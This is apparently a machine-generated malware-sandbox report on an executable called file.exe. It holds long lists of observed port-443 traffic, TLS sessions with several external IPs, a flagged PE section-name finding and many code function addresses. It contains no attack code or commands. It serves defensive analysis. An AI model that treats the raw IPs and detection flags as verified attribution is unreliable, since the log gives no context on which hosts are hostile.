Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.9:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.32.185.164:443 -> 192.168.2.6:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50035 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C05DC5	0_2_05C05DC5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEBDA7	0_2_05BEBDA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0F5DD	0_2_05C0F5DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C08DE0	0_2_05C08DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C32584	0_2_05C32584
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C16594	0_2_05C16594
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFDDD7	0_2_05BFDDD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF7DD3	0_2_05BF7DD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFAD3F	0_2_05BFAD3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C24542	0_2_05C24542
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEED3B	0_2_05BEED3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0A548	0_2_05C0A548
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE3D24	0_2_05BE3D24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE551D	0_2_05BE551D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF8504	0_2_05BF8504
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C25D00	0_2_05C25D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C28D0D	0_2_05C28D0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDFD57	0_2_05BDFD57
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C17D33	0_2_05C17D33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD7D4A	0_2_05BD7D4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE1546	0_2_05BE1546
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1CD39	0_2_05C1CD39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C11D3D	0_2_05C11D3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEF4AF	0_2_05BEF4AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C004D3	0_2_05C004D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF9CA3	0_2_05BF9CA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2ECE0	0_2_05C2ECE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C274E1	0_2_05C274E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDEC98	0_2_05BDEC98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD5C9B	0_2_05BD5C9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDB49B	0_2_05BDB49B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE2C8B	0_2_05BE2C8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD6C85	0_2_05BD6C85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C14C93	0_2_05C14C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF3CEB	0_2_05BF3CEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1DCA0	0_2_05C1DCA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C204A3	0_2_05C204A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1E4AF	0_2_05C1E4AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C154B0	0_2_05C154B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1ECBA	0_2_05C1ECBA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C194BE	0_2_05C194BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDF43D	0_2_05BDF43D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C19C41	0_2_05C19C41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C01451	0_2_05C01451
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0EC56	0_2_05C0EC56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDA417	0_2_05BDA417
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C23403	0_2_05C23403
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0440F	0_2_05C0440F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0B415	0_2_05C0B415
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEB469	0_2_05BEB469
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFDC67	0_2_05BFDC67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0341A	0_2_05C0341A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0C425	0_2_05C0C425
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C21434	0_2_05C21434
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1F7C3	0_2_05C1F7C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2B7C0	0_2_05C2B7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C00FC3	0_2_05C00FC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BECFB6	0_2_05BECFB6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C04FE9	0_2_05C04FE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0F7F4	0_2_05C0F7F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD5FF8	0_2_05BD5FF8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C03F86	0_2_05C03F86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEF7ED	0_2_05BEF7ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDA7EB	0_2_05BDA7EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFD7E5	0_2_05BFD7E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C13F9C	0_2_05C13F9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFBFDD	0_2_05BFBFDD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C20FB7	0_2_05C20FB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0E747	0_2_05C0E747
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2E752	0_2_05C2E752
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1C75A	0_2_05C1C75A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C16F5D	0_2_05C16F5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDCF19	0_2_05BDCF19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF970B	0_2_05BF970B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD7708	0_2_05BD7708
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFF70A	0_2_05BFF70A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD570A	0_2_05BD570A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1D776	0_2_05C1D776
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0677A	0_2_05C0677A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEE702	0_2_05BEE702
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C30F7D	0_2_05C30F7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C15F09	0_2_05C15F09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2570C	0_2_05C2570C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE076E	0_2_05BE076E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDFF6C	0_2_05BDFF6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF0F65	0_2_05BF0F65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BDAF63	0_2_05BDAF63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C09F20	0_2_05C09F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C22723	0_2_05C22723
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C12F24	0_2_05C12F24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BD9F4D	0_2_05BD9F4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C27F33	0_2_05C27F33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BEA745	0_2_05BEA745
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFCEBB	0_2_05BFCEBB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE7EAF	0_2_05BE7EAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF469F	0_2_05BF469F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C22EE8	0_2_05C22EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0D6F5	0_2_05C0D6F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C3068D	0_2_05C3068D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFEEEB	0_2_05BFEEEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF8EE6	0_2_05BF8EE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1469E	0_2_05C1469E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C106A6	0_2_05C106A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C23EA5	0_2_05C23EA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE5ED5	0_2_05BE5ED5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BF36CB	0_2_05BF36CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1F643	0_2_05C1F643
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE6E38	0_2_05BE6E38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFB636	0_2_05BFB636
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C29653	0_2_05C29653
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0DE56	0_2_05C0DE56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C2C654	0_2_05C2C654
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0CE5E	0_2_05C0CE5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C0966D	0_2_05C0966D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05C1EE75	0_2_05C1EE75
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BCDE07	0_2_05BCDE07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE267F	0_2_05BE267F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BE1679	0_2_05BE1679
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05BFD678	0_2_05BFD678
